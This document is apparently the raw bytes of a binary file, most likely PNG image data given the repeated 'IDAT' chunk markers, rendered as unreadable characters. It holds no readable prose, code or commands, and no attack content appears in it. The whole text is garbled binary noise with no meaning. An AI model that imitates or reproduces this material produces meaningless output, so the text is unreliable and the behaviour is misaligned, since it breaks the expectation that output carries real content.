.lFZ4by^}='(q7ywY#NugD̳W{#Nn=)}i&P ?'jY[?+K^jːd!2%*g_ֹ~KBf`C[sEq]v9BRqw< ]BmV OIZa'nLbWBjlBW"t| jkGS#^Jeh3n vEC):Mnx>`{=``/eZYUIDa[/GSGS[]Jrʂ!4!3c~鴨Mɵb!#||6,grC|'AMFvnp&\vW"0y>cvmwJmШġ駺yo~@)ɱl kc6BxhoM_ )1Jc} vR ;fM'%g!2փkq YL_@Үkec_.tF3~p4i9vnQ/ߜ3Oc(G!2:í;x]{eT'Gt9x{rv԰ȉ|r7%V9*c' LKy$Ͻu߀3KiAo_.{mA*8t6JSr?ӂw*m(,gx_okDŁe]r]nw*XGp.63wN1RDgCZSSz%>Kp5vaɫ:R)+v\g,St+.nW病A% !Bn CC];֬;bX&lqKW_\qH2$d["kvMQMQRw$QWk/f K{)+Y'βyu})\uKi.3X5ks*<қ'l}/x,%S}&B 1yvA?zՌcHYB=95ݾ3?wI׾gN񄠿t#$pEw~5{贍O}PڎVrWSB8f ث_L|R7A5] 5^'FSwpwߺVЊ`І'E5"܆jONCGjeى)=><01K&U1lg)I|4Q;"h5VnFOc4n?4GҒV--ٽejSzxaԖy=-[F1l[:Rדi!r=Vd˰az:ِÞ1q΅Gt}=[w\ 50o*.dtܑwaO%, X֒(7[4 w<8ݔC-ث7l<+,afɏݝv&1+"ly6+YcUZϸ=:uxeߛk(C?7xX | r GvκT*Na4a#ٕ/rL 1o IDAT?Y2"(6';9VYHIS^ɯ˿dr'~4!Lѕ^g ҟ)BCa)e7|P'uSjakLF~V=9$9e'/{pxÄAvj_~ 21<0#]$[tIR8Z@WWq)OMn,) Kz3'z4{B2bO/4G8a^yysWOY; L6n"'F YIf$R< ^|}ASE"cout~uv}9Kb%/Z8-6.5T)#joxF\> ˩\!\K-MxIG<Z~i;u,Iu{ZS^r#Yt!&PKm<Bh}C=:?6ƔV(kR$_:GhE~Yf݉ooejjuOzI255ur-< biHguō6iY^ޚgLk)2wȞ|= E2aՑm"UʰWByzE^>?qN) a_s%O??}x)}f *o'wSk?yO3Zđ׶aV$:ڡR2up.|x!C8:zZPS lX.m}u.!܇I+ M i|pѰi1iI{XM kGuP(EQ /`]?3:Nє\{.bmg*gB4T !7OpyγЕ!pv`%h_^SGy1un|v{=``/eZYU"7a/vI̺.(/.f*d6]wD٧N=6g.O][)U/l^JjA~Y}@eh3n "gJӟT9PBdt[w|4[z/iM-8@ăkN\6U ]C)߳`~`1CH]{.DiUplRCu_P]G]3seǝ:!kE^bBmmܭ'=zk?#q_6篹 *RO9ӟ^iA;%c9~9 !Un?,0?s~1U>\ְw~c)ɽc}дk>A` [qf]KZ/m6$D'w,3WaB]f-?J CaJV_)F8+B!uOKKf  5q&(szɨN);e{@Rh=~vWm2DoT@(96TY ZLy]ܩ`Qn?qS7=8KhyUV+ r?&%,|4+x={!))utkQ^T}&05Ljꨴm*itzYNt{{akym^}& ݜTt`2\]sWmִyK6.RsbLaCݢ|]iW R4H R)@ӦY7Nwܸ@h(@Smn+J9)M!~q{UZ>(S52IJ ^uPSuһm4uG GzW8jy_q4fn ʌ {|!V3qŇQ!~ RKT{B,-ϠLQyW O>w[1vm,!WTR47=Pf= IHqFք75;9IQ<!J]2b.GeoqgCW/%8CnS.̵3Ѕ+ qY4`Gut\`@NJ|k7sX;cYFGRlZYsaˀx5_y,Δu [KR5vEh߀U!t9RܭYnFg1`˛!xyC)wq3~34dv})o\ \},2ajn^˪#0%77;U#e8࿩8H)|kmMjeԵ 1r !LQowc$eC_+JBx'G 50l;o^Fjyg {xqa'iBycD{3 }aa?Y橽9Y5!ak=KItץ!GQzw3~J1t9:n8h-T*mF? i1|2B(a;T~gL rr=Vd˰az:ٰIwtî_֛Q&pnsaA=]}<:>jmy/V2zo=/CM ۵ʆK(,&wqذS| n$3ú.$/J}MM7vÝ+N7~}1V6y~WDEL='?vwڙX˯]8duMT:k< gMܴecoW)? ||=q>Mh9n#f;[g] *m*1EW{I,`vӯJ =N¶zo5.(Qo?Y2"(6';9VYHIS^ɯ˿dr'~4gy_ I]& hLF~V=9$9e'/{pxÄAvj_~ 2x !0_) ,iZژ_}X8ӧ /4{]w9w߶nDBF1<0#]$&jǮؾKyjrcIm,1UU5:2R?I}|9LdX8l)7%Hg6lq+/oοꉠ5kGu=i5&5M(!˷:)TP2݌䂞W g#//2~^~eysE}y8i{8!EltQVw[[4Zq7 NKM)gF5nzT.׿hҁ;NMt=cjkkeϛ9Eet{#Nnl._yIG<Z~i;u,Iu{ZS^r#Yt!&PKm<Bh}C=:?65Lii*E%y)/_e&8ٝV]+>ΪV$x$SSS''/g x}/vdqf[[hy4̿ϑ-Sz{ǎyףP-JOAVٶ(r[ k~%$jwW;3T@Ôu.Tb Ca|TTfoT=c4ϛ5Aݔ7)r4u8յ -,]3.۵m) b~xO3Zđ׶aV$:ڡR2up.|x!:B>\BW^ac bR#tF=0!>AƓ׎@Q&V; 8^~ft/S)3\,n+nT<(1 E+hB*nxg+Csz)B~X`{!.jc"/l s}aa7S#gkR${iLai|V n/>t ˯|Kguĭy?fCBtp~=>) =wm(*' !)Z.S$/4!g?--}U$z2Sry\L<{ )pM~ nm+ 1bG=8HzNzzcf?Sr*mQ"S~3c㜧nzQ [QZYe%-Cm["Μ" ^Ϟ=vHJJjOzˊ",[D?35Ljꨴm*itzYNt{{akym^}& ݜTt`2\]sWmִyK6.RsbLaCݢ|]i}+y@ R4H (@T R4H (@T R4H (@T R4H (@T R4H (@T RѪhZ)0clk)}wܸp,><4;vcZf;~IέBkje͝^kJc;WM^J:qv7\Q"g>+fh.bə3k+S*]:s9j,KU~oq&FG([k&p99_rZMi EsX;cYFGRxq}ficN8{JB9]0׺ϤCo=>Twˈ ݿ&kQǍ/I[@ m" IrS׶.ZW;b+-&>>_2"k5SYUSMf ]𶵎#>Xq_Ö-7}##AY8<ŇҲݵGWÉ::[X^(>|LJ}"X4@2;nlarlarM'2EW{I,`vӯJ =!)zAjr_ Oi{#ٕ/rL (|4w yxu8dpvq) ^g8zV^3=tm։Nx/Vq:4 Ϋ'؛)v%AMȂj7dL 7?|}$N>ԧLU`})哖/ELmm\T(#@paJ̵(v|~`B?HNh ǩe%oh9e͆[}Թ+r&=$7OpyγЕ!pv`e9ʰ~g",ZaogF>iQ?5ko=BvQB!2cY/~ufhK"VVU∊l҅^}c=xjh5G^s{m"?O6wZj%v|Ƈ}ҀxQb VPhI;뒼7޵7’7:ZBE SW$+erqNH5*s\}ˌXF q>H7Q|~!rZmx{RkZTRO9ӟy}* k 'Xv>,̭ϫ*yq/В׳[.&Ҏ֜+++B@q䔕T~cfXH^U~8GxX𞜜L}i^>;qzYVNExJHb~1 IDAT'Q}1לO{~qGL9!-?|J^(k( K>7}JD=dzX[zNC(rΌs OjT@xhB3Ą|I_>/)ҬmGϞ=vHJJjcdyjS#V5QQiNUUpKp pγ zT3W׾O@Gp@m[q]{eVjD6ܯf/qgC> x5h@*P@B4m:iu47[)M9{e<>-#y|0听16ivqryC!!'ޠT,n'&i|>x4?#N&'DG/;fkTIr䋻/F}|Y보Ӫ}&.0*$ovEߊZq.CJHe`nKV;!^޾I&úy飔z_xr̞*oN-kCÏU,6>Yx᣼WQC~^MHSn*[u+~ڛKMF8v̓ogT6)=>Kvx;qעWYiPPJ]l]v8}B&Z߲iN2b.3k3>>w[=ro"r;*!LIZyoO)o\ \},2ajn^˪1R=%2}Vv#DXXO))63%77;U#eT3ӡN]!^kgҡ WrBvMPƇҚ}8{9')Ǡ6qfnkřnrlj L8P =k%`w Uk&{Sqkv0H\y9/3W<3uG(,T?&߭M[lB!Ơ׵Zeαw+.}Ɵљ#乐}x;_BัO\XNlfy܃K;퍔|~x[.R2ʆ':޽^89$!c4-iS/ߪ~2˝gXVdG7G%vsq7TuhO]ۺhqr^=WH BvD,kypFݏy>>_2"k5SYBXK<kbEw٭]F7-1ר~pqO PkoI3y,a|V?FMmO]MP2*:ex-\<:l"yy۷y9??Bw#]gWt^yxZGƇBh~{g2oi|W_F#8ά~OD4^?r;t3#KC(VR0Ϋq[ﯜ@W:[ϵtsc1;ok=Ș/7 Ai\}́(1Y zoz{?7^=tCl~ n,/hZx4{%y4n?4?fPzݽiVp {C}_-g}@XģdOO#Bnd彌yNU Steיa7g}k<6׍J~]-';ӧ a)e7|P'uSj^_,xd5+AE+M}d-xdCBkc}ay<;Ok%t]03=c?-yvBYrC{oZ/t| _7|Ba*z1ܿ]c|6-=]Y2;,@uU DTV ^uLp:y/2בp!) m˿=l{3ҿ?" kw߶nDQ?OP~ 3Rx xy9e'/{pxÄABB" oy h>Ga9E!-/1¼}gZOKx%ǯST=))zYܦ E/}ۜ~t^\%/6ug*3臨xf~eysE}y8i{8S1OI __O!$GE&*B"6:u(续v-GR t ,]}s2"SUU###ru|~։3SURZ֦6E”\;s>3Ev˄+Ō u?b=O YIf$"B|iN(}? `ߔN=ElbzQqDКʴi&솗}N! }'}}&)}"=ﴎVuVVg|v4)`܇I?fQyeGmەr]5NN^V2,m0~G\NZj9 ԫ'7+L:'cOiwg>Ω08[wQKBfIMմ72ƈ#.8>Bպgx<^Y l͍?7vI%19@"$$.i8צRܥ BbRo>n|&&?-D KNoO5-JOAVٶ(r[-wq>uB[ُܥGP,BĞĮ?LB`ĝ1bF=#[;?RAJ6>lB/ iO ؼ xoG'4rTNHD85C{^!?yhqjkBZNY0De]G;tQPJn/dm}u.!܇I+ 2leߙH7Kɗۀ) ;pr<"n{3R2qp.;BTAF@|c6Bxho"e_̳6U PwJJam`߂ThB(#YI}Yn?\xI}RHuVNg /%7xSՒ:;VS}mJ*+9q25u'tjN؞W71:^ f>3cٹglIGP%Ed Bv/$<~$7&ЅuZo[ sR᮹Y5䛢N9-$D>eZŤL+0??re,֟ֿ+}{0%IF5i/Wu_O}O(7^BwDxn7z=_y~?if7?4Evm|*oy|>kIq  4@':A ЉbgE^8tuyI7 o p"Qצ%-e]ǩ}9OIe>0uE|tn;TkֶZljeZ?,K#UVr'ogBڽ*ޓ,ؘI ǃ)uλB(,iCɃW}"#wz{_9vt_ZamPo No?F;F+/OkE/KV"qaPwz&Gk?$/ry=9.S{>UZ5P35E_Ѯyix_<u:flY&6 X2CS.qO\05S2b*SKǷhݶZϵfNmIAx4WørWZz];SZ\]5,_2!^RɏSTώR':;x׹ UNK]ٲI⼷P}/(1.aqYB8\0f'j!Qރ#Q)鷼6^֦ig͘[|̴ BtiNZ,kwxIy }.cA >5CȈqIus'JG+_*\[>QoB<.SLSVldkSsMKҺEaBnƊʟt8˵w'+kcUy1קE\}77h«E+#&+G3{xжDK VC u,p3F*P/4CGӸd?Ì{#]BА}U_ W !䵛60jk*WꬬCGkaRoʒe|XVgBBZ}21lӂɛL*5yTt+9NZ=WWJ!Ζ :y|\R Lz#~qɪ=I7W\ 7`Xf%ս;qO6L;e፭m3ضԣSQ[ڥ咉}+럘*DDwjUTBfjneWec} ^s{*z.h'V[r:7(B+,6Cȴrj!:vAuzlTJ&I2rZ0.ս ]7)- *QO g#-M;Buϙ<ԗBͬ 'd>s?WJ}걓>_?b{)SS]^O"Tq˻Z=|ޑ%-'M 1x _:> 7+9*kEƪV2S_Bg!DN؞W71:^ f>w I|!_8{o~N.4ua\~57{罛l?&<~$7&^WOU&KzLU)/O<=#RSg{!"?upp(A IDATšvy~O)S 8it??Ԃ S(:[p߂ 4@':%`~)V0+™MM]r&.L_TI^5WqV(E,mf褟ĩK.ruzM0e/sfl_ $ss3)o ++,ð(K&ox c~|U߭&|bpK}}WϪрDžl]J!$l}#/ UM޶cUZ#-%!=bsGsg7ZrB׹NRa[~~ ()yT&$#SSCcIM̍fo'x?˩y N]8y^nk2j8ۀ%;)0U\FT<8QNWjI{C3fǾIjسse.oڵCc?}7jmk^5UsjWS ( !J5o'uYKV[:wa`M5$s9S?1lZFz|J!oymV|/V%)yJP !DBоG{9zGwƖi]o_rM]+UQ}kR`ޑ3%UBk5ծͱ*F}[߱*NruJB!I?.<+s8qQQT Ng=Z]LSXq|yrqUP /+he4&&>*&k 2(>=~+=Ur]?ir#uɭt^O[Fe ( >69#u̒[Z/̝F/lmߟX&J3!^[Uʷ[0>ѨMyB*Z2dejg,kTGw6Wd_ޔd{?u}g⋪YY9/Q:lgӆm*$$d.^$519?N}es{*z.h'\x?o_sT1$j]fU8?}ޯyƭg^:Qy'"S2SsyT߸zQU6dJݜ somRUp9A+f%Gz-^t,ksׇR_ެvYT<}`=%6-hniYjI|+p\Mw0lOOh0ӗ25ٓZW>D(:%Yd}ppp( WSh8ߌPhE_}?פ]%}"6m7f&|7aбE7]x]w"4@':Zfou=-]o~fx_䅳IWlm!v=]]$ [s~[Xԏ#O.^gqjgiN1ˣɬ}uy$#BQ-O^K+SݥoƶAəϾV'nXb5++,-ҷS99lXԸ뻗,94S!os/l-۰X|ȉK+9a`qѦ NT5c쵭VX6ӆn5ImU7xpqώQYqwX."Y\y~yT&$#SSCcIM̍4h}2W2xqX[v՜JThQ=l[O8l=tN+Bn7r6ati5|~ N]8y^n ۠Je-ZsmFS !9. ~ܾk6 -`aP= _}q=ScFz|J!oymV|a ]+UQ}kB PΫ?:/!dl?yߴGH:C^:N8p+쁸}.B&BN qt8Y^4BΧJ޻:;f-g|IWsD33+ !Du mÐ4!+kcUy1xZU}!r#~7/ scsϵJ!wm:Jr#@cll( !F|=<h\yX?@{(|Հߺafɭ\mW=θ{n蕍oJ~5;1O;z,(sD܂Z2$={*τ{!nWں2^g=^)ҵóaL޴@fRXOͣx\kӳMoޒ3ۺ3z~ᇶL̮C55}BM{CFMpWPFTm$3*gn(H?gюVzByZN͋ܢUUK>uqb佧OxRfyĆ>[r|ōFy1-3x)#'|},ܬ@ 'l+x/h]a3B1pV&z kW\yޞT߸;\#Fܴr;?6;XM]TrrĔ "Iy dewTl0r7}f{ESH&;ۧe mUA5)U:7 --+rS !h vʄddjjhl ֽ9m/]J/+ukٮS}^y5UhQ=l[O8l=tN+Bn7r6ati5\K, N]8y^nPU*KoѺmk3z͜Ps+?}7jmk^5UsjW !BtQ [=On<{S|g FA޲~U[#4i=(*v1 գ*u>քQރ#Q)鷼6^֦iPrۺm`5:Iy }.cA >fsg(Q !P'8_x,YGW!S%]{sy3uo$\+9kՙY"o~ {ݶvaȉYZ*mE\"7>=~+J VC u,p3F*P[({@|Հߺaf--;+Dqܖ+,^kTwbZwXP:!~J)d2I"/pV%z/ĭPe;zֽVϲ}{RkWN~YY9vmlڰM}󖄄,q֥֋?efvu%~M{CFMpWPFTm$3*gn(H?gюVzByZN͵nNEEkyl mmko+By'"S2Ss%i+{_)DN߰}}Ǭ.߯#=3,w]>SuӑF9t߾iQy|gq6Yzu0jt䦕%?)jꢒ3U%hJ_P aaay2^EERV̍ rUupwߐ> !iCOѝ[=qxKYZ|Xు_-^;݂OقE hN@tDh3"/Mͼ$[.Y2kףuoVЮݼ5;n^>eϬގeB8?$k|NYI^]5{b+YvyLI3sIHe>_;{BkL񹔸:#]uXYcZ VtI70".^ѹm7EE;|x UhyqK4 ĹM?nKklkP…隺('k:a_-zpHQ !]:T S'T lWչWmؤK-ZwFiKt24B?Pͩ} ;2T@Y4S_o[rrٰ٩qw/Ysh $l}#/ UM 9}nF;}!H.P8OtuSqɤOqig+MZNdiT[Jۀ8^!$e[>:ԨYyŇ~T5 WV#y򡃃B*YcqꝢ2B!uG˝8|ۦy =r*DiXGYJE-]+ئX{F !j?м$"ew^=Iy !3.gA>D*Iԡu©[qgĽ(JuyMB=(DJCʢW!(N9iⓔc[sPTo*<@V*ty*9x~{Λh{%^=(he4&&>MULU돇Դa.׵M:o}zfCr!rnq6\)vrðm5tPR 7Cnr %!2rوor|T=ma+OviͻV_QOQpEBIxwcO!ԥy)]tF\ 'IveB()[:-5YcXq!$!r=]\ve6709#6V[ θ{nU|b J)d2Fl\ZJvǪC/K͛֬t-m+5 ¦Y'wsn=hC(6-ѥ]ދCj<#"7_x5P=7hi+jhbv%4E䆆ܰplT=ŴvxQ,E5mئyKBB8nRXEu2ip3Fr:֌ {s:=6*j$Q9sC!~޾vtb$Iպtpd#ȸqnܼx3|U.U_胐[Tg?V yضyÒ۸׹AY[aBVW:^w]W2.V}!u"[alchxckcc' mq9ʙgb/.\)\~||tu1{)M} ujЯc3GB-Ӧ/PGGf 2 ˬ{Tڮͤ P7ńY-P4?iYr%X8ϺVb7*<7,b]a~^'BnCVߥDZ,_fH#/ 2!߉+SB8pnG7sIfY\B2j`.1ʱL!U: C; [{+/2/ܣq^6<{4*DضY#?6_W_}CN\Z9,dV>Q<\,ޔLkt^a+<:W5yV]Ev\:z$.<8Sg׌_mPo Le1?m>y]>U!Ӽ'}5.<\:uazrY̵z̩!=IBȫ8_x+T«ŭ:bٌNQރ#Q)鷼6^֦iB}/(1.aqYSBd:I}ɶ5[6$ҎB[|̴ (jNдqk5Ȋ;{?^ȼ_e$}6qzfWHE/EwaM2zI='qjܭ5:3INҥ?{ 1-7{J9}~Zlzex gK/Tge꿜aُk~6 O+o.WNW=O4jhS^&Jֲ*!wbZwXP:!~%2Tޝś U Bܺ }%STzeÛ|eYo`_L^ȚYM*^=/Ϊ\F1^t)`\%z~ATy޴P&mZ0yIc==6nqEk}~44}p~7!j;xt!qDB*A2!PDTqK))$6jl Arj!:⥨Sy'"S2Ss裿|8ukr!闯>u4w!0&eA_; !Pyӥ$W2ӭ‘BM{CFMpW4.q6eB~?zunfkZ_]ݸGbV|G~qEg^^h|T]zt乣g]oZTz$<~$:&o Bd<ׇw- #3!?߰VsuQ{Oˡ=ܲN+dqգ H[=fj-K< MNj<DpM|v]:z|+9B{%0?E/Q\Ɲ}jbfn>ۯƄ'XD݉j!{T߸3LU)~_%RSb ÏLPNJZHr]he֮}j6y n:"V,-;;%Fsߒ,QO P2ReSQu[BEERV̍ rUupw$v%~A\DB>>W]PO4z&cOB.h|~x(| +-8(hN@t 4@':A hN@t 4@':A hN@t hIahO] 2~ˮi!DkV;-ڒ,>pjKZyY 쮯銒~66?G&̊^'?xvy4ƃXu#J8OP? >y>noV:?ZܯgNn,֋˃gh]nx.%dGlhnwuTB*aU}. \7ǟ0`@9/uλ$jg""=4~5sv~l*$k<{=]sU8iڞlz;rAf6>oZnImU7xpqώQeZ\g!0t)ߣQA'¶n^[rf!Ps4*ڎ}i:#Mryݎ-\ W^*-đpÊKmv7/(^kV-vvI⼽x Y:א)H3Ieks< c LVhqⱡVLjHbrIis4?^_WncÇ:7po}ʪw|TM~2qmھzx#uy)4o\ܶ^z{X5bNx _>Eϭ86aԉW)擶ldð?312VSiC٫]xd>G7z=oai(G2PRεsʃiuC*ܙrn,'28 ٟv{ɵ!nDֽ{~\nh[r$Ivj2D\tQAP(}qLhli./yv9F֋W#^HeTX& N/{7KL\a7e x$""5s6K,.H*∸}am&DyL~/$2Ó'ӴP$%qybqr=`M_SM)*{}E Y ew=56l_\dA>a vz~+/8495N(QdIb͊)z*2r[(l抒\qn^zL)f rep)A?Y.KdxyA?MT[-` 8T@"b ،t 8+Ň7*]lps|fN9WZZ([J^O;%BɧႭ;zG 6y%>-9&\e~_Έ"iⷙ?pD츨Nw{=;_/G\dy)E_5:Hx.`?[B/Omڇ\\ e)~zlVKuκ|2q_\ZRe>5o<]V;sNK&'od>oRxom7TM2y+˗q$/,1voǡgxZ} 8"rYs뫕iT=)%g׼X˪VN.PBz-'"lHK OW83qo}9z`̕[~>A9G7#wO nacڈϭi;HS$ʭ>Y&U1MMMBnJͽۆ\i~ 룔cO6EQ{iDH [p@~ z|B @Ѐ444A  hhh@@@ Ѐ444A  hhh@@@ Ѐ444A  hhj@&?^3 SьPQE^jܺbG o8_O%"y"VD .'!BXB6[L`,R@SF>%aߒ\Tܷmά,eGQˈ*S&:X=vYqSF>j?<哧[7eHb Wsn^g\ Osl̎j 1M ==} *8^Ãc`B2)Om1ੀ[&wUe6E\t]?5zǍt;O"q̥_=(Yax^#FrMlaIc)sR {,߼+R^v4 ٫-뎷˯s!Se.<;yb+o(XȂY{m{}v^7&\dy)E_5os3ߗ3+wڼmO92xom7TM2n\v6].i,ϼx+G:sA{DUK넷)%g/ms喟;4E:|Re*nRTꀘ/}7T IDATqAVn]+il7>po] k@ׁhU=b9-9ن զ; (Oh@@@ ͚ x͈&L+bÃ]ɾ^!ĨZNtڬ~8r㵘*=/7?eg]SzԳ%\~/WyvhћP\NB䅰觅\EA`2hKhGH߁iLhJhzo Fsz+YS߿_2-&s01yG}>Zz@X3IqhVD`  j~qb=K(nؔ,@Y6kڴ+G~1jjLY]y3ߏ֓:k}WOw*mpwrpBxpB՜[bo#/~+C!7-<rk䮪 aАޞ]Y"Z.YKέ~Ư7Bh1 S=}^=򢱾z~sjk=N bDl7z{v*U3ZwL'ο ҷn.n&n_>>w|cݼV1M ==} *o] cdH{8󑘈HLzMZI%;SP֓4Uhqpم{ t[ժ;f7C ÷2:|"Fzig,lHГ3Z8I2ٰۢ9"/r:㾫C{hbxVfoodsض[eϩ&EւqYw?T{N[.w:"aݽߖ]d_%"bԿtܴ?`ѭZۯjjMH'0rӰV1jҽwƻnܯ{ӪHQM)*{}E !q]Ggr '<YtI]"9)/R"Vf:Zc9||UW>E(mXO%Oe6kjЩCYȥLS:Zɉ%AI-I(Ht>a7fQ?gÁ₴"Cmݗx9ƊyS~.2h` / -͗"^M(gz^knEʼdԡ/TiU7}Vs3{~K[m˪-n;?qgsȆ..ba{@an``Wwj}1W^V&+..בLװϴӺ6x0YARn#z%=o(us/k,~iբL=djNZ%iU$R$vMYUDg}X]=ħ)93fopjzعcv4=~U!jԨF}^:ǫu]Hճ.֢wAL8 -K6K%De./PL[ /8+Ň7*]lps|f \iiB"IaZ|Lj'q="V"=^|ڵU0*&v mPˮm+UQ1sr'96>z~ԇH˧e]k,MÍ;Tw w;\LT3gd|ZEԎ׿Xu233EDTR?ug+UEKAc6x*k^OĔɾ)%gػy6mc)$#9Q~tXp'VD<)CBe~_Έ"iⷙ?ھ"ȏع{xhu_;+w^츨Nw{=;_¥ݹ6Rȣ>k/uDDũFc +3gyɨ$+uQׂb/3{N@'9:>y~Gc3׮J;j?&`̕[~F IrEؖU?`0 Ҡϗ{|wŧkBmɋT؂wg,96j)IUgTꀘ/y-3d`y3 }&",s }]ˤte='G'y|4 NI|B;ЀON?o G@ Ѐj@+yx-sP|C7"ƒ 񃵎#'ƨ\}l4S]of7}j~:ʣŘE>>gÃ|\zРyE;gl[8D$5m]H``ҭGOR;|&^]`=X:>ՕZXdFx8m[&_/=\vy #6[=mO^Y}3m:iSˀ{ڎ2pª_d!R۵#g!ͻvin'5i@+mpEq/"KDJ["CCR{{:vծZa7fujzl8Y\U=`M<8XqP|dZc9||UWj_^FnheϿ r%%::ȗ[rV n=:cf߸ʃԈm&>Og_daEƬ\y'm7d4|&,~ɾRKۤ5, .u;u[UÅ}~ck^;qEI⒋kXMtʺ5^?osŹy2C`^c =2/oۺU%^b*ODCOLx9f!Z,IQAn+|&o<e/{s6ZO{C:#'Ը1O0{Vwr6e^so6g޴kFvc9⸘'mM{w ɘZx$=-KIzlFzUBj:|~k]){aJx7۸sޯ^^]gbI;RYeiF4v`K!1b2$DѧxP'e8&mEU>/-OڭQQ[ m̔LDGOPVRhh9qN&6m-4D´"bNj>x[GŅ i~| qi>FWi0CV7;c$]xin,ЬTUMfVR^~xһKto9l&?Ij۽NYVyfH7gߜ>UY"Frl̽1qy Of@D$3w˗RJy}6 #jhouF6zyTu.5ĉ>w3XyۻZ,+Ƀ'bV(I㢊&-5^WE^Npy9N7m|TYszx!&˯\[B=>592G~빑/]KdS5gyyM=w*},ꮔcoeH}fŪet_VttA2c.t(.3a*ȣ Qʈ"G/J-&s0yb:rPPRDPLUvZ)4,,ܱ㙦=Oƃv {G:IY }K2r5ɵ*廡-ۍRq6BKW w.]x\㹗'tliK^s<׀,QQӷ򥦝&< Lf͕_z|ek춹FX >WXE-eض3b7U&o1?kjnͭSZNc-Բ`䅳O8}eX4յyNo׊Q]?Zlz荐ָ|<Ȅ/I3/)SYh.QsAWJ+#"bDʹY # tq/$=7iXSe3UQS.-TK*WVS(-zwȰ{6ds$~5V#3#ng/$twM,?_.^|7[լ]N -Vۤ.0&,u{ l_ӀuFZgM[q2k.f=Ƴ͇/uwȧ3"FJݧooXqhwhJ 2Fϸ-, DDY8Uk[VM7i 9~RnD'&!".=h_Xɶ,)u T& N/{7KL\a7e.mPʙҏ7Zc9||UWji7w_ 1^`>rZOxqs=~9sO ٲg}Oe"FNNȕ+tln#_RR" hh`,~ɾRKۤ5,9.\>y7.62 CD5N@[ɐf5 t >|s<Ϙe0ˆ7[pW .M[Z8^Ь_+ ocsgg>{yMr敫7oy5 rk?xBɣvOqHgw9~CxdXEv"> N9`ӡYo\ii[dɫI6ߘ c(!"g޴kFvc7'*6ѕW:.b.nq_vr]fn"c@8qEX,!8NUܹcOj@T7EZ5*jsrT׷ɣǕk%)̵o{J[O{11DHME@Tx]8bӬrD$hܦg/C lZh$i1Eľi\Z/{q)S=m02K$lٮl@l9$5^,u꼎QGe-M:GDDD;kq\gCq W*>e՛=s!^v 0;UpigwHq~~&G:tӏV*TJpnJ㢊&-5^WE^Npy)*[J>+(ddYlz>yVrH'vlEz- Q&M424kgC;vviAyzE?m]JD$IweJK4(3Boǘ+1zWtmeU~ajj*u@LLLu46{>}hU=b9-9=>j xi XNЀ444A ~ F'1Fӑ"fT"߬}1Om]OGXyUL|xp+V]9sm+ L|_^_Ю\kۿ< EQ7k=bUwC[tmfo""}A+rmsu3X"bTos=mz{gX""UN-~i; !Hnn4b;d۵g*ӀV|CP1mZ麹{VjY|0{'2v[^oVZ̏F@D>>w|cݼV7c%^?bP.aАޞ]_h0x@!1VSO fCoжqG&>x)H•ğ9}I}GX IDATp4G2q769\(&qƭ+5t5""F]_+/:&H|_d#Q.naeW|3bry' A*%FI$RTV`H\h9a*<{—|t+._jo( IaMUng/&Z8I2ٰۢFF6:gm+QKj" "RhތmAG+bYwE""Ɉ Y9Oƨ;b+X|I^XM|]b02%Dhd#%V9 ➷he(z(#n\>O<{n3M CQ.#M7y߷MS|mտtܴ?`ѭZۯj[han``zႸ{DDW5`8? 8a/hvغg佷k1BԨCDB>N(QdI"Cf{?i W .'(NYFkܲʾ:WW(kJ?"$=2/ozŨmw->vh`̆Ys)ߝ䦞^'ZLDE=nPR&r`֓G8 &)"zL#[5~0 HeF~7fX8z'J.87OfUDY17-f@QGA+Z$ܳ伓ðy.zڰCeq-ږ)6ѕu]K~m9GW/.31\r?x笲{#~;MKSx-_>K)C\W,SW@YԅAQֹ |<""'Y\v?MpؙҙN? ZPQ*1aTq!^v 0rqթ츨IwUr9=v)f9 6왳?#*r{S e%8yD̊fő{Of?א2"*g<˫H~w rJ>+(ddYlz$U+.]Р̘ ]8"ʾwˌ?O-V`$O[5~OuVT$މ;bʉ'qWo E\Zf* 1Wn%h{8Z{,>]&%HS$ʭ'Gݤskjj*u@LLL#Qjoloոb .i@$ hkzŞsZr2[B'|-8[p(#A Ѐ444A  hhh@@@ Ѐ444A  hhh@@@ Ѐ444A4H3=6No#`G WQZǍ*?=>,Zͫy6z^n9U F*ŘE>>gÃ|\easnG ~W{ƶSµ3Mָ?˸8|y\>uu?abTn xGM=14$mV_nXƃv QM>/Kkں[w.~ e[%:g]='=~b:rPPRDPLUngvZ)4,,ܱeM)z_I}~X߻tځÚ'xRgVǃRo_Nw;ۗSoN~<Ť~hJ4pLudw.M}u!ڦ봝]J.>)H&*>1gдwbNZz)63~F3ۤ(fr"*)(rsҮ.3NM8!!06giofxjRGԧVj?ω/O18Qj ^4_vz:vmy~Ux&cйWZgּxo}>OxW]WϺ>W{.O:ב\R]z9Ubjm3 x~HR*Υ |YI떞3'E4䁟GϣN?$){CDο//;r靊OǨ2R.UrRq,~IFIw]:?pՙsnR }_caI.8֕k #RWM[QʋI+#DV=onj^ NW 7 %^;MKq6E\t]ZQm7boLT,fo>y@N_ p4GZ(u|%4]KH;Ӗ?O}x-""E\.'9rfGwC*5eW\JbԾru[XFǕ& \.3y:ǯGD fCou)x_}_)nqG&>x)H•ğ9}I}GK.(习+I@F>Da4z1QyRЎߟq׈͓w2,n2̗յyNo׊Q]"ݚ[!4/>ݟCԾ+eE@@dq)wH%~nA0r:uh21FH߽lWUuZxu'i Oh׍r"ˇr[9 09ݒEt5`mo)&qHy37heѴ޹'3K;?5 _.;ӭCL~HXGJs7r4=oP<1MmZj$ꕚ?_}x5bذEo #B非|^w׻?|sm:=Ř[wmJ窾 O>⹿u_{puƎ;qZw9yCY߳r!85"zy >>e?Jew~!@Rqs{m/Nx.' F{Pd%qybqU] & N/{7KL\a7e99!WRRӡ|II@^N;| Gj<˧lՓK_yYqឮ9o%&09L-'[ʚԇBj%ޛ^z"vIˇw^|'5(?hW] o=yW:{߉^7Ѵ;Z/>uutQz)3yGFe׭岟 طB+gBcKeGbJXqEś^MwX3KA4!5Ԡ.V^+"1KP1@A@*bJ* yqg)?&~?ܽ{̽3H~/WҼ){ov-~ձs~ /".'{0z ?/ZfC6lsݔWR-DAX8B7Nl"yXQQ!VWO &:aXu]5+?TG>%.#+XMA۔^7Ugf%?k0lr%בg߈U!KP|XO]=OxUиWNyηz8}Vk7ieuњL(7_M|Ur9":ܟ?q.bܪ}]dLd\3߫6_ceu3m|۳  